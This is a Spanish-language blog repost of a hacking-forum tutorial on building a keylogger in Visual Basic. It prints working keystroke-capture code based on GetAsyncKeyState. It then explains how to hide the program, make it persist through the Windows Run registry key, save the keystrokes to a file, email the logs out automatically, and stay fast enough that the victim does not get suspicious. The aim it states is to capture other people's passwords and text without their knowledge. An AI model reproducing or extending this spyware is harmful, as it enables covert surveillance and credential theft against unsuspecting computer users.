RSS

Trata de Hackerss.com > como crear un keylogger??

01 Sep

http://www.canadiancontent.net/tech/downlo…Keyloggers.html

http://foros.hackerss.com/lofiversion/index.php/t726.html

Vamos a ver que es necesario para la creación de un Keylogger, o sea la captura del teclado, luego uds. podrán agregarle las funciones que crean necesarias

Para los que no lo sepan un Keylogger es un programa que actúa oculto en un sistema, creando un registro (log) de las teclas (keys) que se pulsan en el teclado
De esta forma se puede saber que hace el usuario, aparte de ver todos los textos que haya creado, se guardarán passwords, direcciones web, etc

Crea un nuevo proyecto con un Modulo y un Form.
El Form deberá contener un botón (Command1), un Timer con Interval=10 (Timer1) y un Text con Multiline (Text1).

En el modulo insertaremos una llamada a una API y la función que la utiliza:
Option Explicit
‘API para verificar las teclas
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
‘variables
Global Cnt As Long
Global sSave As String
Global sOld As String
Global Ret As String

Function GetPressedKey() As String
‘Recorre los caracteres imprimibles
For Cnt = 32 To 128
‘Detecta el estado de la tecla
‘si es distinto de 0 es que esta presionada
‘así que la retorna como resultado
‘de la llamada a la funcion
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function

Luego en el Form insertamos lo siguiente:
Option Explicit

Private Sub Command1_Click()
‘Muestra en el texto el contenido de sSave
Text1 = sSave
‘Pone sSave listo para seguir
sSave = ""
End Sub

Private Sub Timer1_Timer()
‘Llama a GetPressedKey y lo guarda en Ret
Ret = GetPressedKey
‘Si Ret y sOld son distintos
‘guarda Ret en sOld
‘y lo concatena con sSave
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub

El código está comentado y es muy simple así que solo haré una aclaración:
Se hace la comprobación "If Ret <> sOld Then" porque si, por ej. escribimos "papa", nos aparecerá "pppaaaaaaaaapppppppaaaaaaa"

El funcionamiento es simple, ejecuta el programa, luego abre algún procesador de texto y escribe algo, retorna el foco al Keylogger y pulsa el botón para ver el texto, que habías escrito, aparecer en el Text1.

Por supuesto esta es la primera parte del Keylogger, deberás agregarle las funciones necesarias para que se ejecute automáticamente al inicio, permanezca oculto y guarde las teclas en un archivo.

Al guardar las teclas en el archivo deverás vaciar la variable sSave, para que no genere un desbordamiento al crecer demasiado
La función podrías meterla en un Timer con un intervalo mas o menos grande

Para la ejecución automática agregar el programa en "LocalMachine\ Software\ Microsoft\ Windows\ CurrentVersion\ Run" en el registro de Windows.

Esta utilidad es realmente interesante y puedes hacerla tan compleja (o simple) como tu quieras, incluso puedes hacer que detecte cuando el usuario se ha conectado a internet y el programa envié automáticamente un mail a tu casilla con el texto de log (de forma que el archivo no crezca demasiado ).

Siempre recuerda que el código debe ser lo mas rápido posible, ya que al permanecer siempre en ejecución, consumiría demasiada memoria y el usuario podría sospechar que algo raro sucede en su PC.

 

Anuncios
 
Deja un comentario

Publicado por en 1 septiembre, 2009 en Sin categoría

 

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

 
A %d blogueros les gusta esto: